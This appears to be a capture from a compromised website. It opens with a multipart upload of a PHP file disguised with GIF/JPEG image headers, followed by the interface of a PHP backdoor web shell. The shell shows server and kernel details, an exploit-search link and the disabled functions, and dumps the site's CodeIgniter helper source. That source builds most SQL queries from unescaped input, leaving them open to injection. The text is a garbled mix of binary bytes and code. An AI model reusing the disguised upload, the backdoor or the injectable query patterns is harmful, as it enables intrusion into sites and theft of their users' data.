------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/institute.vhtecindia.com/application/helpers/
load->database(); $sql = "select * from $database where $id='" . $value . "'"; $query = $ci->db->query($sql); $row = $query->row(); return $row; } function count_total_student_by_course_batch($course,$batch) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `students` WHERE `course_id` LIKE "'.$course.'" AND Batch="'.$batch.'" AND status=1 '); $row = $query->result(); return $row[0]->count; } function count_admitcard_student_by_course_batch($course,$batch,$session,$year) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `admit_card` WHERE AC_COURSE="'.$course.'" AND AC_BATCH="'.$batch.'" AND AC_SESSION="'.$session.'" AND AC_DURATION="'.$year.'"'); $row = $query->result(); return $row[0]->count; } function get_method_link_id($name) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from method_list where METHOD_NAME='" . $name . "'"; $query = $ci->db->query($sql); $row = $query->row(); return $row; } function get_database_by_id($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from method_list where METHOD_ID='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->row(); return $row; } function checkrole_exits($method_name,$userid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `permission` where METHOD_NAME="'.$method_name.'" AND LOGIN_ID="'.$userid.'" ' ); $row = $query->result(); if (!empty($row)) { return $row[0]; } else { return ''; } //return $row[0]; } function checkrole_exits1($method_name,$userid) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `permission` where METHOD_NAME="'.$method_name.'" AND LOGIN_ID="'.$userid.'" ' ); $row = $query->result(); return $row[0]->count; } function get_last_branch_reg_no($hrmtype) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM branch where COMPANY_HRM_TYPE="'.$hrmtype.'" ORDER BY BRANCH_ID DESC LIMIT 1'); $row = $query->result(); if (!empty($row)) { return $row[0]->BRANCH_CODE; } else { return 0; } } function generate_reg($prefix, $rank, $length, $num) { $num_length = strlen($num); $required_length = $length - $num_length; $z = ""; for ($i = 0; $i < $required_length; $i++) { $z = $z . "0"; } return $prefix . $rank . $z . $num; } function check_company_phone($number) { $ci = &get_instance(); $ci->load->database(); $branch_data = $ci->db->query('select * from branch where BRANCH_CONTACT="' . $number . '" '); $branch_dt = $branch_data->result(); if (!empty($branch_dt)) { return 1; } else { return 0; } } function get_hrm_type_by_user_id($username){ $ci = &get_instance(); $ci->load->database(); $branch_data = $ci->db->query('select * from centers where email_id="' . $username . '"'); $branch_dt = $branch_data->result(); if (!empty($branch_dt)) { return $branch_dt[0]->COMPANY_HRM_TYPE; } else { return 0; } } function check_user_authentication($number,$method) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `permission` where METHOD_STATUS="1" AND LOGIN_ID="'.$number.'" and METHOD_NAME="'.$method.'" ORDER BY PERMISSION_ID ' ); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function check_user_permission($loginid,$method) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `permission` where LOGIN_ID="'.$loginid.'" and METHOD_NAME="'.$method.'" ORDER BY PERMISSION_ID ' ); $res = $query->row(); if (!empty($res)) { return $res = $query->row(); } else { return 0; } } function check_form_select_status($attribute,$menuid,$input_type,$database) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `menu_property` WHERE `MP_ATTITUBE_NAME` LIKE "'.$attribute.'" AND `MP_MENU_ID` LIKE "'.$menuid.'" AND `MP_INPUT_TYPE` = "'.$input_type.'" AND `MP_DATABASE` LIKE "'.$database.'" ' ); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function check_form_input_status($attribute,$menuid,$input_type) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `menu_property` WHERE `MP_ATTITUBE_NAME` LIKE "'.$attribute.'" AND `MP_MENU_ID` LIKE "'.$menuid.'" AND `MP_INPUT_TYPE` = "'.$input_type.'" ' ); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function check_database($database) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from $database "; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function calculate_record($database) { $ci = &get_instance(); $ci->load->database(); $sql = "select COUNT(*) as COUNT from $database "; $query = $ci->db->query($sql); $row = $query->row('COUNT'); return $row; } function get_district($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from district where STATE_ID='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function get_district_by_id($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from district where DISTRICT_ID='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function get_state_by_id($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from state where STATE_ID='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row[0]->STATE_NAME; } else { return ''; } } function get_branch($firmid) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from branch where FIRM_ID='" . $firmid . "'"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function get_firms_by_id() { $ci = &get_instance(); $ci->load->database(); if($ci->session->userdata('firm_id')!=''){ $sql = "select * from firm where FIRM_ID IN (" . $ci->session->userdata('firm_id') . ")"; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } }else{ return ''; } } function get_firms_by_company($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from firm where COMPANY_ID='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } } function get_comp_short_name($hrmtype) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query("select * from comp_short_code where COMPANY_ID='" . $ci->session->userdata('comp_id') . "' and HRM_TYPE_ID='" . $hrmtype . "'"); $row = $query->result(); if (!empty($row)) { return $row[0]->COMP_PREFIX; } else { return 0; } } function insert_activity($userid, $remarks) { $ci = &get_instance(); $ci->load->database(); $sql = "INSERT INTO `activity_history`(`USER_ID`, `IP_ADDRESS`, `REMARKS`) VALUES ('" . $userid . "','" . $_SERVER['REMOTE_ADDR'] . "','" . $remarks . "')"; $query = $ci->db->query($sql); if (!empty($query)) { return $ci->db->insert_id(); } else { return ''; } } function get_all_activity() { $ci = &get_instance(); $ci->load->database(); $sql = "Select * from activity_history"; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } } function insert_activity_history($activity_type,$for_hrm) { $ci = &get_instance(); $ci->load->database(); $date = date('Y-m-d H:i:s'); $data = array( 'HRM_ID' => $ci->session->userdata('loginid'), 'HRM_TYPE' => $ci->session->userdata('type'), 'ACTIVITY_TYPE_ID' => $activity_type, 'ACTIVITY_IP' => $_SERVER['REMOTE_ADDR'], 'ACTIVITY_TIME' => $date, 'FOR_HRM_ID' => $for_hrm ); $ci->db->insert('activity_history', $data); return $ci->db->insert_id(); } function count_all_activity_history() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `activity_history` act_h LEFT JOIN `hrm_type` hrm on act_h.HRM_TYPE=hrm.HRM_TYPE_ID LEFT JOIN `activity_type` act_type on act_h.ACTIVITY_TYPE_ID=act_type.ACTIVITY_TYPE_ID'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_activity_history($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `activity_history` act_h LEFT JOIN hrm_type hrm on act_h.HRM_TYPE=hrm.HRM_TYPE_ID LEFT JOIN `activity_type` act_type on act_h.ACTIVITY_TYPE_ID=act_type.ACTIVITY_TYPE_ID ORDER BY act_h.ACITIVITY_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function activity_history_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `activity_history` act_h LEFT JOIN `hrm_type` hrm on act_h.HRM_TYPE=hrm.HRM_TYPE_ID LEFT JOIN `activity_type` act_type on act_h.ACTIVITY_TYPE_ID=act_type.ACTIVITY_TYPE_ID where ( hrm.HRM_TYPE_NAME LIKE "' . $search . '%" OR act_type.ACTIVITY_TYPE_NAME LIKE "' . $search . '") ORDER BY act_h.ACITIVITY_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function activity_history_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `activity_history` act_h LEFT JOIN `hrm_type` hrm on act_h.HRM_TYPE=hrm.HRM_TYPE_ID LEFT JOIN `activity_type` act_type on act_h.ACTIVITY_TYPE_ID=act_type.ACTIVITY_TYPE_ID where ( hrm.HRM_TYPE_NAME LIKE "' . $search . '%" OR act_type.ACTIVITY_TYPE_NAME LIKE "' . $search . '") ORDER BY act_h.ACITIVITY_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*---------------- game start ---------------------*/ function check_data_exits($database) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from ".$database." "; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row[0]; } else { return '0'; } } function check_data_exits_status_by_id($database,$fieldname,$id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from ".$database." where ".$fieldname."=".$id." "; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row[0]; } else { return '0'; } } function get_site_setting() { $ci = &get_instance(); $ci->load->database(); $sql = "select * from site_setting"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function get_all_social_links() { $ci = &get_instance(); $ci->load->database(); $sql = "select * from social_links"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function get_all_profile() { $ci = &get_instance(); $ci->load->database(); $sql = "select * from profile"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } /*---------------------- end page listing -----------------------------------------------------*/ function numberTowords($num) { $decones = array( '01' => "One", '02' => "Two", '03' => "Three", '04' => "Four", '05' => "Five", '06' => "Six", '07' => "Seven", '08' => "Eight", '09' => "Nine", 10 => "Ten", 11 => "Eleven", 12 => "Twelve", 13 => "Thirteen", 14 => "Fourteen", 15 => "Fifteen", 16 => "Sixteen", 17 => "Seventeen", 18 => "Eighteen", 19 => "Nineteen" ); $ones = array( 0 => " ", 1 => "One", 2 => "Two", 3 => "Three", 4 => "Four", 5 => "Five", 6 => "Six", 7 => "Seven", 8 => "Eight", 9 => "Nine", 10 => "Ten", 11 => "Eleven", 12 => "Twelve", 13 => "Thirteen", 14 => "Fourteen", 15 => "Fifteen", 16 => "Sixteen", 17 => "Seventeen", 18 => "Eighteen", 19 => "Nineteen" ); $tens = array( 0 => "", 2 => "Twenty", 3 => "Thirty", 4 => "Forty", 5 => "Fifty", 6 => "Sixty", 7 => "Seventy", 8 => "Eighty", 9 => "Ninety" ); $hundreds = array( "Hundred", "Thousand", "Million", "Billion", "Trillion", "Quadrillion" ); //limit t quadrillion $num = number_format($num,2,".",","); $num_arr = explode(".",$num); $wholenum = $num_arr[0]; $decnum = $num_arr[1]; $whole_arr = array_reverse(explode(",",$wholenum)); krsort($whole_arr); $rettxt = ""; foreach($whole_arr as $key => $i){ if($i < 20){ $rettxt .= $ones[$i]; } elseif($i < 100){ $rettxt .= $tens[substr($i,0,1)]; $rettxt .= " ".$ones[substr($i,1,1)]; } else{ $rettxt .= $ones[substr($i,0,1)]." ".$hundreds[0]; $rettxt .= " ".$tens[substr($i,1,1)]; $rettxt .= " ".$ones[substr($i,2,1)]; } if($key > 0){ $rettxt .= " ".$hundreds[$key]." "; } } $rettxt = $rettxt." peso/s"; if($decnum > 0){ $rettxt .= " and "; if($decnum < 20){ $rettxt .= $decones[$decnum]; } elseif($decnum < 100){ $rettxt .= $tens[substr($decnum,0,1)]; $rettxt .= " ".$ones[substr($decnum,1,1)]; } $rettxt = $rettxt." centavo/s"; } return $rettxt; } } function get_form_data($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from agent_form_data where id='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->row(); if(!empty($row)) { return json_decode($row->description); } return false; } // function get_user($user_id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from admin_login where COMPANY_ID= '".$user_id."' "; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } } function get_submenu($sub_id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from submenu where menu= '".$sub_id."' "; $query = $ci->db->query($sql); $row = $query->result(); // var_dump($row); // die; if (!empty($row)) { return $row; } else { return ''; } } function get_subsubmenu($subsub_id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * FROM link_page LEFT JOIN subsubmenu on subsubmenu.id = link_page.subsubmenu WHERE link_page.submenu='".$subsub_id."' "; $query = $ci->db->query($sql); $row = $query->result(); // var_dump($row); // die; if (!empty($row)) { return $row; } else { return ''; } } /*----------------- start program ----------------------------------------------------------------*/ function get_sub_categories($category_id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from state where COUNTRY_ID= '".$category_id."' "; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } } function get_sub_subcategories($sub_category_id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from city where state_id= '".$sub_category_id."' "; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } } function check_sub_category_name_exist($brandid,$category,$sub_cat) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `sub_cat` where BRAND_ID="' . $brandid . '" AND CAT_ID="'.$category.'" AND SUB_CAT_NAME="'.$sub_cat.'" '); $res = $query->result(); if (!empty($res)) { return true; } else { return false; } } function get_category_by_brand($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from courses where category='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function get_all_category($limit) { $ci = &get_instance(); $ci->load->database(); if($limit > 0){ $sql = "SELECT * FROM `categorylist` ORDER by CAT_ID DESC LIMIT ".$limit." "; }else{ $sql = "SELECT * FROM `categorylist` ORDER by CAT_ID DESC "; } $query = $ci->db->query($sql); $row = $query->result(); return $row; } /*------------- START BRAND LIST --------------------*/ function count_all_brand_type($database) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `'.$database.'`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_brand_type($limit, $start, $order, $dir,$database) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `'.$database.'` ORDER BY '.$order.' ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function brand_type_search($limit, $start, $search, $order, $dir,$database,$whereClause) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `'.$database.'` where ( '.$whereClause.' ) ORDER BY '.$order.' ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function brand_type_search_count($search,$order,$database,$whereClause) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `'.$database.'` where ( '.$whereClause.' ) '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BRAND LIST -------------------*/ /*--- get all brands --------------*/ function get_all_brands() { $ci = &get_instance(); $ci->load->database(); $sql = "select * from brand"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } /*----------------------- START COLOR SETTING --------------------------------------*/ function count_all_color_setting() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `color_setting`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_color_setting($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `color_setting` ORDER BY CS_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function color_setting_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `color_setting` where ( CS_NAME LIKE "' . $search . '%" OR CS_CODE LIKE "' . $search . '%" OR CS_BACKGROUN_HOVER LIKE "' . $search . '%" OR CS_FONT_HOVER LIKE "' . $search . '%" ) ORDER BY CS_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function color_setting_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `color_setting` where ( CS_NAME LIKE "' . $search . '%" OR CS_CODE LIKE "' . $search . '%" OR CS_BACKGROUN_HOVER LIKE "' . $search . '%" OR CS_FONT_HOVER LIKE "' . $search . '%" ) ORDER BY CS_ID DESC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*------------------ END COLOR SETTING ---------------------------------------------*/ /*------------- START FRONT SETTING LIST --------------------*/ function 